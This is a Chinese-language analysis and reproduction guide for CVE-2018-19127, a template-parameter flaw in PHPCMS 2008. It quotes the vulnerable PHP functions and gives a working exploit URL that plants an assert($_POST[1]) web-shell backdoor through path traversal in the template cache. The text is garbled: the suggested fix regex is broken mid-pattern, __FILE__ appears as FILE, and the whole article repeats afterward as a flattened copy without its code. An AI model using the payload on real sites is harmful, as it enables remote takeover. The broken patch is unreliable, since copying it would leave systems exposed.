CVE-2018-19127漏洞分析
字数 1129 2025-08-18 11:38:48

CVE-2018-19127漏洞分析与利用

漏洞概述

CVE-2018-19127是PHPCMS 2008版本中的一个远程代码执行漏洞,攻击者可以通过构造特殊的请求在目标服务器上写入任意文件内容,最终可能导致远程命令执行。

受影响版本:PHPCMS2008 SP4及以下版本

漏洞类型:远程代码执行/任意文件写入

危害等级:高危

漏洞背景

该漏洞由阿里云安全团队首次捕获,国家信息安全漏洞共享平台(CNVD)随后发布了安全公告。攻击者利用该漏洞可以在未经授权的情况下向网站可控路径的缓存文件写入任意内容,进而植入后门,实现远程命令执行攻击。

漏洞分析

漏洞位置

漏洞主要存在于/type.php文件中,涉及模板变量处理不当的问题。

漏洞原理

  1. type.php文件包含了一个用户可控的template变量
  2. 该变量会被传入template()方法(位于/include/global.func.php
  3. 默认情况下模板缓存自动刷新功能是开启的
  4. 攻击者可以构造特殊的template参数值,最终导致任意文件写入

关键代码分析

type.php中的问题代码

// 包含用户可控的template变量
$template = isset($_GET['template']) ? trim($_GET['template']) : 'tag';

global.func.php中的template()方法

function template($module = 'phpcms', $template = 'index') {
    global $CONFIG;
    $compiledtplfile = CACHE_PATH.'template/'.$module.'_'.$template.'.tpl.php';
    if(!file_exists($compiledtplfile) || ($CONFIG['template_refresh'] && !is_writable($compiledtplfile))) {
        require_once PHPCMS_ROOT.'/include/template.func.php';
        template_compile($module, $template);
    }
    return $compiledtplfile;
}

template_compile函数(/include/template.func.php)

function template_compile($module, $template) {
    // ...
    $content = ($template != $file) ? file_get_contents($file) : "<?php echo '<?xml version=\"1.0\" encoding=\"$charset\"?>';?>$template";
    // ...
    file_put_contents($compiledtplfile, $content);
}

漏洞利用过程

  1. 攻击者构造特殊的template参数:
    template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss
    
  2. 系统处理后生成缓存文件路径:
    data/cache_template/phpcmstag(){};@unlink(FILE);assert($_POST[1]);{//../rss.tpl.php
    
  3. PHP路径解析特性将其转换为:
    data/cache_template/rss.tpl.php
    
  4. 最终写入恶意代码到目标文件中

漏洞复现

环境搭建

  1. 安装PHPCMS2008 SP4或以下版本

利用步骤

  1. 构造如下请求:
    http://target/type.php?template=tag_(){};@unlink(FILE);assert($_POST[1]);{//../rss
    
  2. 系统会在data/cache_template/目录下生成rss.tpl.php文件
  3. 文件内容包含攻击者构造的恶意代码
  4. 攻击者可以通过POST方式执行任意命令

修复建议

临时解决方案

/type.php文件中增加对template变量的过滤,禁止特殊字符如({等:

$template = isset($_GET['template']) ? preg_replace('/[
$$
\{\}]/', '', trim($_GET['template'])) : 'tag';

长期解决方案

  1. 升级到PHPCMS V9或更高版本
  2. 官方下载地址:http://www.phpcms.cn/v9/

参考链接

  1. https://www.yunaq.com/news/5bfe2bea796db4113efa3a80/
  2. https://yq.aliyun.com/articles/673603
  3. http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-19127

防御措施

  1. 及时更新PHPCMS到最新版本
  2. 对用户输入进行严格过滤和验证
  3. 限制服务器目录的写权限
  4. 定期检查服务器上的异常文件
  5. 部署WAF等防护设备拦截恶意请求
CVE-2018-19127漏洞分析与利用 漏洞概述 CVE-2018-19127是PHPCMS 2008版本中的一个远程代码执行漏洞,攻击者可以通过构造特殊的请求在目标服务器上写入任意文件内容,最终可能导致远程命令执行。 受影响版本 :PHPCMS2008 SP4及以下版本 漏洞类型 :远程代码执行/任意文件写入 危害等级 :高危 漏洞背景 该漏洞由阿里云安全团队首次捕获,国家信息安全漏洞共享平台(CNVD)随后发布了安全公告。攻击者利用该漏洞可以在未经授权的情况下向网站可控路径的缓存文件写入任意内容,进而植入后门,实现远程命令执行攻击。 漏洞分析 漏洞位置 漏洞主要存在于 /type.php 文件中,涉及模板变量处理不当的问题。 漏洞原理 type.php 文件包含了一个用户可控的 template 变量 该变量会被传入 template() 方法(位于 /include/global.func.php ) 默认情况下模板缓存自动刷新功能是开启的 攻击者可以构造特殊的 template 参数值,最终导致任意文件写入 关键代码分析 type.php中的问题代码 : global.func.php中的template()方法 : template_ compile函数(/include/template.func.php) : 漏洞利用过程 攻击者构造特殊的 template 参数: 系统处理后生成缓存文件路径: PHP路径解析特性将其转换为: 最终写入恶意代码到目标文件中 漏洞复现 环境搭建 安装PHPCMS2008 SP4或以下版本 利用步骤 构造如下请求: 系统会在 data/cache_template/ 目录下生成 rss.tpl.php 文件 文件内容包含攻击者构造的恶意代码 攻击者可以通过POST方式执行任意命令 修复建议 临时解决方案 在 /type.php 文件中增加对 template 变量的过滤,禁止特殊字符如 ( 、 { 等: 长期解决方案 升级到PHPCMS V9或更高版本 官方下载地址:http://www.phpcms.cn/v9/ 参考链接 https://www.yunaq.com/news/5bfe2bea796db4113efa3a80/ https://yq.aliyun.com/articles/673603 http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-19127 防御措施 及时更新PHPCMS到最新版本 对用户输入进行严格过滤和验证 限制服务器目录的写权限 定期检查服务器上的异常文件 部署WAF等防护设备拦截恶意请求